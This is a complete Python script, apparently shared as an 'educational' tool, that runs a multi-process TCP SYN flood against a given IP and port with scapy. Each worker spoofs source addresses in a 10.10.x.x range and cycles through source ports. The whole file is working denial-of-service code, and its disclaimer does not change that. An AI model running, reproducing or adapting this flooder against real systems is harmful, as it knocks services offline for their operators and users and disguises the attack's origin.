#!/usr/bin/env python3

"""Simple SYN Flooder and spoofer
 - @mjdubell

This software is intended for educational purposes and
can only be used against systems with permission from owner.
The user is the only one responsible for any damages. By using this
software you agree with the terms.

Usage:
  multi_syn.py <dst_ip> <dst_port> [--workers=<amount>] [--sleep=<seconds>]

Options:
  -h, --help            Show this screen.
  --version             Show version.
  --workers=<amount>    Amount of processes to use [default: 4].
  --sleep=<seconds>     How many seconds to sleep betseen scans [default: 0].

"""
from docopt import docopt
import logging
import sys
from multiprocessing import Process, current_process
import signal
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *


def flood(src_net: str, dst_ip: str, dst_port: int, sleep: int):
    # the actual code that will be sending SYN packets
    for src_host in range(1, 254):
        for src_port in range(1024, 65535):
            # Build the packet
            src_ip = f"{src_net}.{src_host}"
            network_layer = IP(src=src_ip, dst=dst_ip)
            transport_layer = TCP(sport=src_port, dport=dst_port, flags="S")

            # Send the packet
            try:
                send(network_layer/transport_layer, verbose=False)
            except Exception as e:
                print(f"[-] Something went terribly wrong: {e}")
                sys.exit()

            if sleep != 0:
                time.sleep(sleep)


def signal_handler(signal, frame):
    print(f"\n[-] CTRL+C, quiting...")
    sys.exit(0)


def main(arguments):
    dst_ip = arguments["<dst_ip>"]
    dst_port = int(arguments["<dst_port>"])
    workers = int(arguments["--workers"])
    sleep = int(arguments["--sleep"])
    
    signal.signal(signal.SIGINT, signal_handler)

    if workers < 1:
        print("[-] You need at least 1 worker...")
        sys.exit()

    print("[!] Starting Syn Flooder...")
    print(f"[~] Workers: {workers}")
    print(f"[~] Target IP: {dst_ip}")

    processes = []
    for worker in range(1, workers+1):
        src_net = f"10.10.{worker}"
        p = Process(target=flood, args=(src_net, dst_ip, dst_port, sleep), daemon=True)
        processes.append(p)
        p.start()

    for process in processes:
        if process is not None:
            process.join()
            


if __name__ == "__main__":
    arguments = docopt(__doc__, version="Multi SYN Flooder 1.0")
    main(arguments)